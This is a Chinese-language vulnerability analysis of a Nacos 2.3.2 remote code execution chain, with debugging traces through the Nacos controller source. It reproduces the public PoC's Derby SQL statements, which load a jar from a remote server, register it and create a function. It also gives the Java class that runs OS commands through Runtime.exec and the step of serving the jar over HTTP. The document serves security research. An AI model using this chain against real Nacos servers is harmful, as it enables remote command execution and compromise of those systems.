nacos-0day分析

首先下载

poc

https://github.com/ayoundzw/nacos-poc

服务

https://github.com/alibaba/nacos/releases/tag/2.3.2

开启调试

修改

1
set "NACOS_OPTS=%NACOS_OPTS%  -agentlib:jdwp=transport=dt_socket,address=9000,server=y,suspend=n  -jar %BASE_DIR%\target\%SERVER%.jar"

看到poc

查看sql语句
这个option_sql自始至终没有用到过

1
2
3
4
5
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);

首先

1
CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)

远程加载一个jar进来

1
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')

将这个类加入到derby.database.classpath

1
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

创建一个静态方法
返回值也要是String
poc就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package test.poc;  

import java.io.InputStream;
import java.util.Scanner;

public class Example {
public static String exec(String id)throws Exception{
InputStream inputStream = Runtime.getRuntime().exec(id).getInputStream();
String s = new Scanner(inputStream).next();
return s;
}

public static void main(String[] args) {
System.out.println("aaa");
}
}

在idea里面打包一个类

将生成的jar包重命名为download,然后python -m http.server 5000即可

调试

下载源码
搜索
/nacos/v1/cs/ops/data/removal
在com.alibaba.nacos.config.server.controller.ConfigOpsController#importDerby函数里面,有鉴权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**  
* // TODO the front page should appear operable The external data source is imported into derby.
*
* <p>mysqldump --defaults-file="XXX" --host=0.0.0.0 --protocol=tcp --user=XXX --extended-insert=FALSE \
* --complete-insert=TRUE \ --skip-triggers --no-create-info --skip-column-statistics "{SCHEMA}" "{TABLE_NAME}" * * @param multipartFile {@link MultipartFile}
* @return {@link DeferredResult}
*/@PostMapping(value = "/data/removal")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {
DeferredResult<RestResult<String>> response = new DeferredResult<>();
if (!DatasourceConfiguration.isEmbeddedStorage()) {
response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));
return response;
}
DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);
WebUtils.onFileUpload(multipartFile, file -> {
NotifyCenter.publishEvent(new DerbyImportEvent(false));
databaseOperate.dataImport(file).whenComplete((result, ex) -> {
NotifyCenter.publishEvent(new DerbyImportEvent(true));
if (Objects.nonNull(ex)) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
return;
}
response.setResult(result);
});
}, response);
return response;
}

发现文件上传,有个临时文件看看内容是什么

内容是导入恶意jar包的sql代码

发现在数据导入的时候

通过一行行设置sql代码进入List集合

再次进入doDataImport

进入batchUpdate


调用了execute

调用了BatchUpdateStatementCallback#doInStatement函数
最后调用stmt.executeBatch函数执行数据库操作命令

这样恶意jar就已经加载进入数据库了
再次使用select查询数据库就能执行恶意命令,p牛师傅给出过一个链接
https://github.com/alibaba/nacos/issues/4463

存在任意sql执行

1
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);

所以即可执行命令
现在有鉴权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@GetMapping(value = "/derby")  
@Secured(action = ActionTypes.READ, resource = "nacos/admin")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "SELECT";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (!DatasourceConfiguration.isEmbeddedStorage()) {
return RestResultUtils.failed("The current storage mode is not Derby");
}
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}